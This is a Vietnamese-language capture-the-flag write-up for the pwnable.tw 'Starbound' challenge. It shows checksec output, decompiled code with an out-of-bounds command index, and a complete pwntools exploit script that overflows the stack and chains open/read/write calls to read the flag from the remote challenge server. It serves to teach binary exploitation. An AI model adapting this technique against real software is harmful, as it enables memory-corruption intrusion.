pwnable.tw
Starbound
March 13, 2026
•
Easy
Recon
Mitigation
$ file starbound
starbound: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5a960d92ab1e8594d377bd96eb6ea49980f412a9, not stripped$ pwn checksec starbound
[*] '/home/hungnt/pwnable.tw/starbound/starbound'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8046000)
RUNPATH: b'.'
FORTIFY: EnabledSolve
Lợi dụng index OOB khi pick command:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int cmd_index; // eax
char buf[256]; // [esp+10h] [ebp-104h] BYREF
init();
while ( 1 )
{
alarm(0x3Cu);
((void (*)(void))Commands[10])(); // main menu
if ( !read_input(buf, 0x100u) )
break;
cmd_index = strtol(buf, 0, 10);
if ( !cmd_index ) // out of bound
break;
((void (*)(void))Commands[cmd_index])();
}
do_bye();
return 0;
}Để pick vào nơi trên bss chứa địa chỉ main+48 (bằng cách set name trong settings):
0x804a635 <main+48> mov dword ptr [esp], ebx
0x804a638 <main+51> call readn <readn>Thế là có buffer overflow trên stack để ghi đè return address. Lặp lại 3 lần để ORW flag là xong.
Script
#!/usr/bin/env python3
from pwn import *
import shutil
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'
e = context.binary = ELF('./starbound', checksec=False)
TERMINAL = 0
USE_PTY = False
GDB_ATTACH_DELAY = 1
ALLOW_MEM = 0
_wsl_distro = os.environ.get("WSL_DISTRO_NAME", "Ubuntu")
terms = {
1: ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"],
2: ["tmux", "split-window", "-h"],
3: ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe",
"-w", "0", "split-pane", "-V", "-s", "0.5",
"wsl.exe", "-d", _wsl_distro, "bash", "-c"],
}
if TERMINAL == 0:
if shutil.which("tilix"):
context.terminal = terms[1]
elif os.path.exists("/proc/version") and "microsoft" in open("/proc/version").read().lower():
context.terminal = terms[3]
elif shutil.which("tmux"):
context.terminal = terms[2]
else:
raise ValueError("Auto-detect failed: none of tilix, wsl2, tmux found")
elif TERMINAL in terms:
context.terminal = terms[TERMINAL]
else:
raise ValueError(f"Unknown terminal: {TERMINAL}")
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
# b *0x0804A65D
b *0x0804A673
continue
'''
def attach(p):
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(GDB_ATTACH_DELAY)
def _mem_limit():
if ALLOW_MEM > 0:
import resource
limit = int(ALLOW_MEM * 1024 ** 3)
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
def conn():
if args.LOCAL:
if USE_PTY:
p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY, preexec_fn=_mem_limit)
else:
p = process([e.path], preexec_fn=_mem_limit)
sleep(0.25)
attach(p)
return p
else:
host = "chall.pwnable.tw"
port = 10202
return remote(host, port)
def cmd(index):
slan(p, b'>', index)
def set_name_return(name):
cmd(6)
cmd(2)
sla(p, b'name', name)
cmd(1)
attempt = 0
while True:
attempt += 1
print("\n----------> Attempt", attempt)
p = conn()
main_48 = 0x0804A635
name_addr = 0x80580d0
path = name_addr + 0x4 + 0x20
set_name_return(flat(
main_48,
A(0x20),
b'/home/starbound/flag'
))
cmd(-33)
sleep(0.5)
sl(p, flat(
A(0x10c),
e.plt['open'],
e.symbols['main'], # ret2main
path, 0, 0
))
set_name_return(p64(main_48))
cmd(-33)
sleep(0.5)
sl(p, flat(
A(0x10c + 0x8),
e.plt['read'],
e.symbols['main'],
3, path, 0x50
))
set_name_return(p64(main_48))
cmd(-33)
sleep(0.5)
sl(p, flat(
A(0x10c),
e.plt['write'],
e.symbols['main'],
1, path, 0x50
))
print(ra(p, 2))
p.close()
break